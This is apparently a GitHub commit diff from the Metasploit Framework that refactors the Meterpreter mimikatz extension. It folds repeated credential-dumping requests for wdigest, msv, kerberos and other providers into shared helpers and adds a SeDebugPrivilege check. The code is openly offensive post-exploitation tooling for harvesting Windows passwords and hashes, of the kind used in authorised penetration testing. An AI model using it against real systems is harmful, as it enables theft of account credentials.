Skip to content

Commit b219a23

Browse files
Meatballs1Meatballs1
committed
Refactoring
1 parent 2084971 commit b219a23

File tree

2 files changed

+52
-215
lines changed

2 files changed

+52
-215
lines changed

‎lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

Lines changed: 15 additions & 90 deletions
Original file line numberDiff line numberDiff line change
@@ -32,29 +32,9 @@ def initialize(client)
3232
},
3333
])
3434
end
35-
36-
def wdigest
37-
request = Packet.create_request('mimikatz_wdigest')
38-
response = client.send_request(request)
39-
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
4035

41-
details = CSV.parse(result)
42-
accounts = []
43-
details.each do |acc|
44-
account = {
45-
:authid => acc[0],
46-
:package => acc[1],
47-
:user => acc[2],
48-
:domain => acc[3],
49-
:password => acc[4]
50-
}
51-
accounts << account
52-
end
53-
return accounts
54-
end
55-
56-
def msv
57-
request = Packet.create_request('mimikatz_msv1_0')
36+
def mimikatz_send_request(method)
37+
request = Packet.create_request(method)
5838
response = client.send_request(request)
5939
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
6040

@@ -73,85 +53,30 @@ def msv
7353
return accounts
7454
end
7555

76-
def livessp
77-
request = Packet.create_request('mimikatz_livessp')
78-
response = client.send_request(request)
79-
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
56+
def wdigest
57+
mimikatz_send_request('mimikatz_wdigest')
58+
end
59+
60+
def msv
61+
mimikatz_send_request('mimikatz_msv1_0')
62+
end
8063

81-
details = CSV.parse(result)
82-
accounts = []
83-
details.each do |acc|
84-
account = {
85-
:authid => acc[0],
86-
:package => acc[1],
87-
:user => acc[2],
88-
:domain => acc[3],
89-
:password => acc[4]
90-
}
91-
accounts << account
92-
end
93-
return accounts
64+
def livessp
65+
mimikatz_send_request('mimikatz_livessp')
9466
end
9567

9668
def ssp
97-
request = Packet.create_request('mimikatz_ssp')
98-
response = client.send_request(request)
99-
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
100-
101-
details = CSV.parse(result)
102-
accounts = []
103-
details.each do |acc|
104-
account = {
105-
:authid => acc[0],
106-
:package => acc[1],
107-
:user => acc[2],
108-
:domain => acc[3],
109-
:password => acc[4]
110-
}
111-
accounts << account
112-
end
113-
return accounts
69+
mimikatz_send_request('mimikatz_ssp')
11470
end
11571

11672
def tspkg
117-
request = Packet.create_request('mimikatz_tspkg')
118-
response = client.send_request(request)
119-
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
120-
121-
details = CSV.parse(result)
122-
accounts = []
123-
details.each do |acc|
124-
account = {
125-
:authid => acc[0],
126-
:package => acc[1],
127-
:user => acc[2],
128-
:domain => acc[3],
129-
:password => acc[4]
130-
}
131-
accounts << account
132-
end
133-
return accounts
73+
mimikatz_send_request('mimikatz_tspkg')
13474
end
13575

13676
def kerberos
137-
request = Packet.create_request('mimikatz_kerberos')
138-
response = client.send_request(request)
139-
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
140-
141-
details = CSV.parse(result)
142-
accounts = []
143-
details.each do |acc|
144-
account = {
145-
:authid => acc[0],
146-
:package => acc[1],
147-
:user => acc[2],
148-
:domain => acc[3],
149-
:password => acc[4]
150-
}
151-
accounts << account
152-
end
153-
return accounts
77+
mimikatz_send_request('mimikatz_kerberos')
15478
end
15579
end
15680

15781
end; end; end; end; end
82+

‎lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb

Lines changed: 37 additions & 125 deletions
Original file line numberDiff line numberDiff line change
@@ -29,22 +29,19 @@ def initialize(shell)
2929
#
3030
def commands
3131
{
32-
"wdigest" => "Attempt to retrieve cleartext wdigest passwords",
33-
"msv" => "Attempt to retrieve hashes",
32+
"wdigest" => "Attempt to retrieve wdigest creds",
33+
"msv" => "Attempt to retrieve msv creds (hashes)",
3434
"livessp" => "Attempt to retrieve livessp creds",
3535
"ssp" => "Attempt to retrieve ssp creds",
3636
"tspkg" => "Attempt to retrieve tspkg creds",
3737
"kerberos" => "Attempt to retrieve kerberos creds"
3838
}
3939
end
4040

41-
def cmd_wdigest(*args)
42-
unless system_check
43-
print_status("Attempting to get getprivs")
44-
client.sys.config.getprivs
45-
end
46-
print_status("Retrieving passwords")
47-
accounts = client.mimikatz.wdigest
41+
def mimikatz_request(provider, method)
42+
get_privs
43+
print_status("Retrieving #{provider} credentials")
44+
accounts = method.call
4845

4946
table = Rex::Ui::Text::Table.new(
5047
'Indent' => 0,
@@ -63,139 +60,53 @@ def cmd_wdigest(*args)
6360

6461
return true
6562
end
63+
64+
def cmd_wdigest(*args)
65+
method = Proc.new { client.mimikatz.wdigest }
66+
mimikatz_request("wdigest", method)
67+
end
6668

6769
def cmd_msv(*args)
68-
unless system_check
69-
print_status("Attempting to get getprivs")
70-
client.sys.config.getprivs
71-
end
72-
print_status("Retrieving passwords")
73-
accounts = client.mimikatz.msv
74-
75-
table = Rex::Ui::Text::Table.new(
76-
'Indent' => 0,
77-
'SortIndex' => 4,
78-
'Columns' =>
79-
[
80-
'AuthID', 'Package', 'Domain', 'User', 'Hash'
81-
]
82-
)
83-
84-
accounts.each do |acc|
85-
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
86-
end
87-
88-
table.print
89-
90-
return true
70+
method = Proc.new { client.mimikatz.msv }
71+
mimikatz_request("msv", method)
9172
end
9273

9374
def cmd_livessp(*args)
94-
unless system_check
95-
print_status("Attempting to getprivs")
96-
client.sys.config.getprivs
97-
end
98-
print_status("Retrieving passwords")
99-
accounts = client.mimikatz.livessp
100-
101-
table = Rex::Ui::Text::Table.new(
102-
'Indent' => 0,
103-
'SortIndex' => 4,
104-
'Columns' =>
105-
[
106-
'AuthID', 'Package', 'Domain', 'User', 'Password'
107-
]
108-
)
109-
110-
accounts.each do |acc|
111-
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
112-
end
113-
114-
table.print
115-
116-
return true
75+
method = Proc.new { client.mimikatz.livessp }
76+
mimikatz_request("livessp", method)
11777
end
11878

11979
def cmd_ssp(*args)
120-
unless system_check
121-
print_status("Attempting to getprivs")
122-
client.sys.config.getprivs
123-
end
124-
print_status("Retrieving passwords")
125-
accounts = client.mimikatz.ssp
126-
127-
table = Rex::Ui::Text::Table.new(
128-
'Indent' => 0,
129-
'SortIndex' => 4,
130-
'Columns' =>
131-
[
132-
'AuthID', 'Package', 'Domain', 'User', 'Password'
133-
]
134-
)
135-
136-
accounts.each do |acc|
137-
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
138-
end
139-
140-
table.print
141-
142-
return true
143-
end
80+
method = Proc.new { client.mimikatz.ssp }
81+
mimikatz_request("ssp", method)
82+
end
14483

14584
def cmd_tspkg(*args)
146-
unless system_check
147-
print_status("Attempting to getprivs")
148-
client.sys.config.getprivs
149-
end
150-
print_status("Retrieving passwords")
151-
accounts = client.mimikatz.tspkg
152-
153-
table = Rex::Ui::Text::Table.new(
154-
'Indent' => 0,
155-
'SortIndex' => 4,
156-
'Columns' =>
157-
[
158-
'AuthID', 'Package', 'Domain', 'User', 'Password'
159-
]
160-
)
161-
162-
accounts.each do |acc|
163-
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
164-
end
165-
166-
table.print
167-
168-
return true
85+
method = Proc.new { client.mimikatz.tspkg }
86+
mimikatz_request("tspkg", method)
16987
end
17088

17189
def cmd_kerberos(*args)
90+
method = Proc.new { client.mimikatz.kerberos }
91+
mimikatz_request("kerberos", method)
92+
end
93+
94+
def get_privs
17295
unless system_check
17396
print_status("Attempting to getprivs")
174-
client.sys.config.getprivs
175-
end
176-
print_status("Retrieving passwords")
177-
accounts = client.mimikatz.kerberos
178-
179-
table = Rex::Ui::Text::Table.new(
180-
'Indent' => 0,
181-
'SortIndex' => 4,
182-
'Columns' =>
183-
[
184-
'AuthID', 'Package', 'Domain', 'User', 'Password'
185-
]
186-
)
187-
188-
accounts.each do |acc|
189-
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
190-
end
191-
192-
table.print
193-
194-
return true
195-
end
97+
privs = client.sys.config.getprivs
98+
unless privs.include? "SeDebugPrivilege"
99+
print_warning("Did not get SeDebugPrivilege")
100+
else
101+
print_good("Got SeDebugPrivilege")
102+
end
103+
else
104+
print_good("Running as SYSTEM")
105+
end
106+
end
196107

197108
def system_check
198-
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
109+
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
199110
print_warning("Not currently running as SYSTEM")
200111
return false
201112
end
@@ -216,3 +127,4 @@ def name
216127
end
217128
end
218129
end
130+

0 commit comments

Comments
 (0)